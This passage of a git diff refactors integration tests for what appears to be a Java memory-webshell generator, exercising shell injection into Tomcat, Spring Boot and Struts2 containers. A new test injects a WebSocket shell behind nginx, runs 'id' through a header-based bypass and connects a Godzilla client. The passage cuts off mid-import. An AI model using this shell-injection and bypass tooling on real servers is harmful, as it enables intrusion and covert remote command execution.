ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET - ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + static Stream undertowCasesProvider() { + return generateTestCases(UNDERTOW_CONFIG); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } - - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } - - static Stream undertowCasesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, -// ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.SpEL); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + @MethodSource("undertowCasesProvider") + void testUndertow(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(UNDERTOW_CONFIG, shellType, shellTool, packer); } - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("undertowCasesProvider") - void testJetty(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java index 23330a43..44e3ef3c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,93 +1,79 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2WarContainerTest { +public class SpringBoot2WarContainerTest extends AbstractContainerTest { public static final String imageName = "tomcat:8-jre8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") - .withNetwork(network) - .withNetworkAliases("app") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER -// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET // TODO: 这个地方会报奇怪的错误,需要排查 - ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName(imageName) + .server(Server.SpringWebMvc) + .warFile(ContainerTool.springBoot2WarFile) + .warDeployPath("/usr/local/tomcat/webapps/app.war") + .pidScript(ContainerTool.tomcatPid) + .enableJspPackerTest(false) + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER + )) + .testPackers(List.of(Packers.SpEL)) + .build(); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName(imageName) + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.SpEL)) + .build(); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); static Stream tomcatCasesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, -// ShellType.LISTENER, - ShellType.VALVE, - ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.SpEL); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + return generateTestCases(TOMCAT_CONFIG); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index cf2b2fe9..74f64dc4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -1,114 +1,90 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot3ContainerTest { - public static final String imageName = "springboot3"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot3Dockerfile)) - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(springbootPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); +public class SpringBoot3ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot3JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, - ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET - ); - List testPackers = List.of(Packers.H2); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot3") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container, python); - } + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); static Stream tomcatCasesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, -// ShellType.LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.H2); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); + return generateTestCases(TOMCAT_CONFIG); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); } - - @ParameterizedTest - @ValueSource(strings = {ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, - ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index 9cb9075f..791e80b8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -32,8 +33,9 @@ public class SpringBoot3ExpressionContainerTest { public static final String imageName = "springboot3"; @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot3Dockerfile)) + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + .withCopyFileToContainer(springBoot3JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(springbootPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/test")) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java index 826daf1c..110ac50f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java @@ -1,81 +1,47 @@ package com.reajason.javaweb.integration.memshell.struct2; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Struct2ContainerTest { - public static final String imageName = "tomcat:8-jre8"; - - static Network network = Network.newNetwork(); +public class Struct2ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("tomcat:8-jre8") + .server(Server.Struct2) + .warFile(ContainerTool.struct2WarFile) + .warDeployPath("/usr/local/tomcat/webapps/app.war") + .pidScript(ContainerTool.tomcatPid) + .enableJspPackerTest(false) + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of(ShellType.ACTION)) + .testPackers(List.of(Packers.ScriptEngine)) + .probeShellTypes(List.of(ShellType.ACTION)) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + public static final GenericContainer python = buildPythonContainer(network); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Struct2; - List supportedShellTypes = List.of(ShellType.ACTION); - List testPackers = List.of(Packers.ScriptEngine); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Struct2, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.ACTION}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Struct2, shellType, Opcodes.V1_8); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index dffdfa2d..ec3d5e3a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -1,95 +1,62 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat10ContainerTest { - public static final String imageName = "tomcat:10.1-jre11"; - static Network network = Network.newNetwork(); +public class Tomcat10ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:10.1-jre11") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJREAttacher)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET, - ShellType.UPGRADE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_PROXY_VALVE, - ShellType.JAKARTA_WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java new file mode 100644 index 00000000..e48c611a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java @@ -0,0 +1,113 @@ +package com.reajason.javaweb.integration.memshell.tomcat; + +import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; +import com.reajason.javaweb.godzilla.GodzillaManager; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ServerType; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.tuple.Pair; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.ComposeContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2026/1/13 + */ +@Testcontainers +@Slf4j +public class Tomcat10WebSocketBypassNginxTest { + + public static final String imageName = "tomcat:10.1-jre11"; + + @Container + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml")) + .withExposedService("tomcat", 8080, Wait.forHttp("/app/")) + .withExposedService("nginx", 80); + + @Test + public void testWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V11; + String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Command; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open."); + // connect by valve bypass will success + String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue()); + assertTrue(response.contains("uid=")); + } + + + @Test + public void testGodzillaWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V1_8; + String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Godzilla; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).build()) { + godzillaManager.start(); + } + }, "WebSocket connection is not open."); + // connect by valve bypass will success + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName() + , godzillaConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } + + public static String getUrl() { + String host = compose.getServiceHost("nginx", 80); + int port = compose.getServicePort("nginx", 80); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 1d38f64f..9e479a02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -1,96 +1,62 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import 